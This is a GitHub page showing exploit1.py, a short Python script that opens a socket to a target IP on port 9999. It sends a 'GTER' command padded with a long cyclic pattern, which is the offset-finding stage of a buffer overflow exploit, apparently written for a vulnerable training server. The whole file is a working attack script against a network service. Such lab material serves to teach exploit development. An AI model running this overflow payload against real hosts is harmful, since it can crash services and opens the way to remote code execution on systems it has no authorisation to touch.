-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexploit1.py
23 lines (18 loc) · 1.1 KB
/
exploit1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#! /bin/python3
import socket # The module "socket" provides access to the BSD socket interface
import sys # The module "sys" provides access to the runtime environment and allows us to gather information about it.
# Check that we have a target IP
if (len(sys.argv) < 2):
print("This program requires one Command Line Argument. This should be the IPv4 address of the target machine")
exit(1)
# Set Constants for later use
HOST = sys.argv[1] # Extract target IP
PORT = 9999 # victim port
# Generate a payload the server expects: Command followed by Data
# We send the cyclic pattern!
PAYLOAD = (
b'GTER /.:/' +
b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A'
)
with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)